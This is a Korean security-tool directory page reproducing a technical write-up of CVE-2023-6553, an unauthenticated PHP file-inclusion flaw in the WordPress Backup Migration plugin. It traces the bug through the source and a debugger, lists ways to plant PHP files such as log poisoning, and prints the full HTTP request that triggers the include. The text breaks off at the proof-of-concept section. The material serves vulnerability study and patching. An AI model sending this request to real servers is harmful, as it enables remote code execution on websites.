Skip to content
KitploitKITPLOIT
도구익스플로잇블로그
Log in
제출
도구익스플로잇블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

피드문의개인정보© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2023-6553 — CVE-2023-6553에 대한 PoC 익스플로잇 및 기술 문서: WordPress Backup Migration 플러그인 <=1.3.7에서 원격 코드 실행을 가능하게 하는 인증되지 않은 PHP 파일 포함 취약점. | Kitploit
도구/GitHubGitHub/dungsocool/cve-2023-6553
Vulnerability AnalysisCode AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & Education
GitHubdungsocool/cve-2023-6553

CVE-2023-6553

CVE-2023-6553에 대한 PoC 익스플로잇 및 기술 문서: WordPress Backup Migration 플러그인 <=1.3.7에서 원격 코드 실행을 가능하게 하는 인증되지 않은 PHP 파일 포함 취약점.

저장소 보기
81개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2023-6553

PHP 파일 포함으로 이어지는 RCE — Backup Migration 플러그인

플러그인: Backup Migration (backup-backup) ≤ 1.3.7

CVSS: 9.8 (치명적)

CWE: CWE-98 — Include/Require 문의 파일명에 대한 부적절한 제어

인증 요구 사항: 없음

영향: 원격 코드 실행


1. 이 취약점은 무엇인가?

Backup Migration은 사용자가 백업 복사본을 만들 수 있도록 도와주는 상당히 인기 있는 WordPress 플러그인입니다(활성 설치 90,000개 이상). 백업 프로세스 중 이 플러그인은 backup-heart.php라는 파일을 백그라운드에서 실행합니다. 이 파일은 HTTP 헤더를 통해 구성 정보를 전달받아 어떤 디렉터리를 백업해야 하는지, 구성 파일이 어디에 있는지 등을 파악합니다.

문제는 이 파일이 클라이언트가 보낸 HTTP 헤더를 완전히 신뢰하고, 헤더 값을 파일 경로에 그대로 사용한 다음 require_once()로 해당 경로에서 파일을 로드한다는 점입니다. 공격자는 악성 PHP 코드가 포함된 디렉터리를 가리키는 Content-Dir 헤더만 보내면 됩니다. 그러면 서버가 자동으로 해당 파일을 포함(include)하여 실행합니다.

주목할 점은 backup-heart.php 파일이 인증을 요구하지 않는다는 것입니다. 이 파일은 요청 메서드가 POST인지만 확인할 뿐, nonce나 사용자 권한을 검증하지 않습니다. 인터넷상의 누구나 이 파일에 요청을 보낼 수 있습니다.

⇒ 이는 제로 클릭(zero-click) 취약점입니다.

속성값
CVE IDCVE-2023-6553
CVSS 점수9.8 (치명적)
플러그인backup-backup (Backup Migration) ≤ 1.3.7
인증필요 없음
사용자 상호 작용없음 (제로 클릭)
수정 버전1.3.8

2. 배경 지식

PHP의 파일 포함(File Inclusion)

PHP에는 실행 중인 프로그램에 다른 PHP 파일을 포함시키는 데 사용되는 include(), require(), require_once() 같은 함수가 있습니다. 이러한 함수에 전달되는 파일 경로가 검증 없이 사용자 입력에서 비롯될 경우, 공격자는 서버가 원하는 파일을 포함하도록 강제할 수 있습니다:

  • LFI (로컬 파일 포함): 서버에 존재하는 파일을 로드합니다. 예를 들어 PHP 코드로 "오염(poison)"된 로그 파일을 로드할 수 있습니다.
  • RFI (원격 파일 포함): 외부 서버에서 파일을 로드합니다. allow_url_include=On 설정이 필요합니다(보통 기본적으로 비활성화되어 있음).

이 CVE는 LFI에 해당합니다. 공격자가 require_once()에 전달되는 경로를 제어하여, 공격자가 서버에 작성하는 데 성공한 PHP 파일을 가리키게 합니다.

HTTP 헤더는 왜 위험한가?

많은 개발자는 HTTP 헤더가 서버와 클라이언트만 아는 "내부" 메타데이터라고 생각합니다. 실제로는 공격자가 헤더 내용을 100% 제어합니다. 헤더 이름과 값을 무엇이든 설정할 수 있습니다. 헤더를 신뢰하는 것은 폼 입력을 신뢰하는 것과 같으며, 반드시 검증해야 합니다.

define()과 PHP 상수

define('NAME', $value)는 애플리케이션 전체에서 사용되는 상수를 생성합니다. 한 번 define되면 값을 변경할 수 없습니다. $value가 공격자로부터 온 것이라면, 해당 상수를 사용하는 모든 곳이 영향을 받습니다.

3. 소스 코드 분석 — 취약점은 어디서 발생하는가?

1단계: 싱크(Sink) 찾기

먼저 grep을 사용하여 플러그인 전체에서 모든 require 및 include 문을 검색했습니다:

grep -rn "require\|include" includes/

image.png

검색 결과 많은 require/include 호출이 반환되었습니다. 대부분은 banner/misc.php와 banner/views/index.php의 include_once 호출이었습니다. 이들은 하드코딩된 경로를 사용하는 관리자 UI 렌더링 코드에 속하므로 악용할 수 없습니다.

하지만 backup-heart.php의 다음 2줄이 눈에 띄었습니다:

includes/backup-heart.php:64:   define('BMI_INCLUDES', BMI_ROOT_DIR . 'includes');
includes/backup-heart.php:118:  require_once BMI_INCLUDES . '/bypasser.php';

118번째 줄은 BMI_INCLUDES 상수를 사용하여 require_once를 호출합니다. 이 상수가 하드코딩되어 있다면 안전할 것입니다. 하지만 64번째 줄을 살펴보니 BMI_INCLUDES는 다른 상수인 BMI_ROOT_DIR로부터 구성됩니다. 따라서 BMI_ROOT_DIR이 어디에서 값을 할당받는지 더 추적해야 합니다.

다시 grep을 사용하여 추적했습니다:

grep -n "BMI_ROOT_DIR" includes/backup-heart.php

결과:

image.png

Line 62: define('BMI_ROOT_DIR', $fields['content-dir']);
Line 64: define('BMI_INCLUDES', BMI_ROOT_DIR . 'includes');

62번째 줄은 BMI_ROOT_DIR이 $fields['content-dir']에서 값을 가져온다는 것을 보여줍니다. 이는 고정된 값이 아닌 변수입니다. 파일을 열어 $fields가 무엇을 포함하는지 확인해야 합니다.

2단계: 소스 코드 확인 — $fields는 어디에서 오는가?

VS Code에서 backup-heart.php의 62번째 줄을 열었습니다:

// Line 62
define('BMI_ROOT_DIR', $fields['content-dir']);

// Line 64
define('BMI_INCLUDES', BMI_ROOT_DIR. 'includes');

image.png

$fields['content-dir']가 define()으로 직접 들어가는 것을 명확히 볼 수 있습니다. 이제 $fields 변수가 어디서 할당되는지 확인해야 합니다:

// Lines 7-9: Only checks POST method
if ($_SERVER['REQUEST_METHOD'] !== 'POST') {
    exit;
}

// Lines 30-33: Reads ALL HTTP headers from the request
if (isFunctionEnabled('getallheaders')) {
    $fields= getallheaders();
}

// Lines 42-46: Lowercases header names
foreach ($fieldsas $key=> $value) {
    $buffer= $value;
    unset($fields[$key]);
    $fields[strtolower($key)] = $value;
}

image.png

image.png

이 시점에서 근본 원인이 아주 명확해집니다. $fields는 getallheaders()를 통해 가져온 모든 HTTP 헤더를 담고 있으며, 이는 전적으로 클라이언트가 제어합니다. wp_verify_nonce()도, current_user_can()도, 유효한 경로 검사도 없습니다. 단지 POST 메서드만 확인하고 헤더를 그대로 읽어들입니다.

3단계: 공격 흐름 요약

Attacker sends POST request with header Content-Dir: /path/to/attacker/
    ↓
getallheaders() reads raw headers → $fields['content-dir'] = "/path/to/attacker/"
    ↓
define('BMI_ROOT_DIR', "/path/to/attacker/")   ← no validation
    ↓
define('BMI_INCLUDES', "/path/to/attacker/includes")
    ↓
require_once "/path/to/attacker/includes/bypasser.php"   ← executes PHP
    ↓
Attacker code runs with www-data privileges → RCE

근본 원인 요약: HTTP 헤더 → define() → require_once(), 그 사이에 검증 단계가 전혀 없습니다.

4단계: Xdebug로 디버깅

Xdebug + VS Code를 사용하여 공격 흐름을 시각적으로 확인했습니다. backup-heart.php의 62번째 줄과 118번째 줄에 중단점 2개를 설정한 다음, curl을 사용하여 익스플로잇 요청을 보냈습니다.

중단점 1 — 62번째 줄:

디버거가 define('BMI_ROOT_DIR', $fields['content-dir']) 바로 앞에서 멈췄습니다. Variables 패널에서 $fields 변수를 펼쳐 보니 클라이언트가 보낸 모든 HTTP 헤더를 포함하는 22개 요소의 배열이 표시되었습니다. 구체적으로는:

  • content-dir = "/tmp/bmi/" — 헤더를 통해 보낸 값 그대로이며, BMI_ROOT_DIR 상수에 직접 할당됩니다.
  • content-abs = "/var/www/html/", content-configdir = "/tmp/bmi/", content-backups = "/tmp/bmi/back..." — 모두 공격자가 제어합니다.

content-dir는 define()에 전달되기 전에 어떤 검증이나 필터링 단계도 거치지 않습니다.

image.png

중단점 2 — 118번째 줄:

F5를 누르자 디버거가 require_once BMI_INCLUDES . '/bypasser.php'에서 멈췄습니다. 상태를 살펴보면:

  • Variables 패널: $fields에 여전히 content-dir = "/tmp/bmi/"가 유지됩니다. 이는 62번째 줄과 118번째 줄 사이에 값이 변경되지 않았음을 증명합니다.
  • Call Stack 패널: {main} backup-heart.php 118:1이 표시됩니다. 파일의 맨 위에서 이 지점까지 코드가 곧바로 실행되었으며, 어떤 미들웨어나 인증 검사도 거치지 않았습니다.
  • 118번째 줄은 /tmp/bmi/includes/bypasser.php 경로의 파일을 include하려고 준비합니다. 이 파일의 내용은 공격자가 제어합니다.

image.png

디버깅 결과는 3단계에서 분석한 흐름을 완벽하게 확인해 줍니다. HTTP 헤더가 getallheaders() → define() → require_once()로 이동하며, 그 사이에 검증이 전혀 없습니다.

4. 공격 체인

1단계 — 서버에 PHP 파일 배치

include를 트리거하기 전에 대상 서버에 PHP 파일이 이미 존재해야 합니다. 일반적인 기법은 다음과 같습니다:

기법개념
로그 오염(Log poisoning)User-Agent에 <?php ... ?>를 포함한 요청을 보내면 코드가 액세스 로그에 기록됨 → 로그 파일을 include
PHP 세션/tmp/sess_xxx에 위치한 세션 파일에 PHP 코드를 기록
업로드 체인WordPress 미디어/아바타 업로드 기능을 활용하여 파일 업로드
플러그인 오류 로그플러그인이 자체 오류 로그를 기록 — PHP 코드가 포함된 오류를 발생시키면 코드가 로그 파일에 기록됨

2단계 — 1개의 POST 요청으로 Include 트리거

Content-Dir가 페이로드가 포함된 디렉터리를 가리키도록 요청을 보냅니다. 서버는 공격자의 파일을 자동으로 require하고 실행합니다.

POST /wp-content/plugins/backup-backup/includes/backup-heart.php HTTP/1.1
Host: target.com
Content-Dir: /tmp/bmi/
Content-Abs: /var/www/html/
Content-Content: /var/www/html/wp-content/
Content-Configdir: /tmp/bmi/
Content-Backups: /tmp/bmi/backups/
Content-Safelimit: 1
Content-Browser: true
Content-Identy: 1
Content-Manifest: 1
Content-Rev: 1
Content-Name: test
Content-Start: 1
Content-Filessofar: 0
Content-Total: 1
Content-Bmitmp: /tmp/
Content-It: 1
Content-Dbit: 1
Content-Dblast: 1
Content-Url: http://target.com/

모든 Content-* 헤더를 제공해야 합니다. backup-heart.php가 다른 define() 호출에서 이 헤더들을 사용하기 때문입니다. 헤더가 누락되면 PHP 경고가 발생하고 require_once에 도달하기 전에 실행이 중단될 수 있습니다.

5. PoC — 실습 환경 악용

5.1 엔드포인트가 열려 있는지 확인

도구 다운로드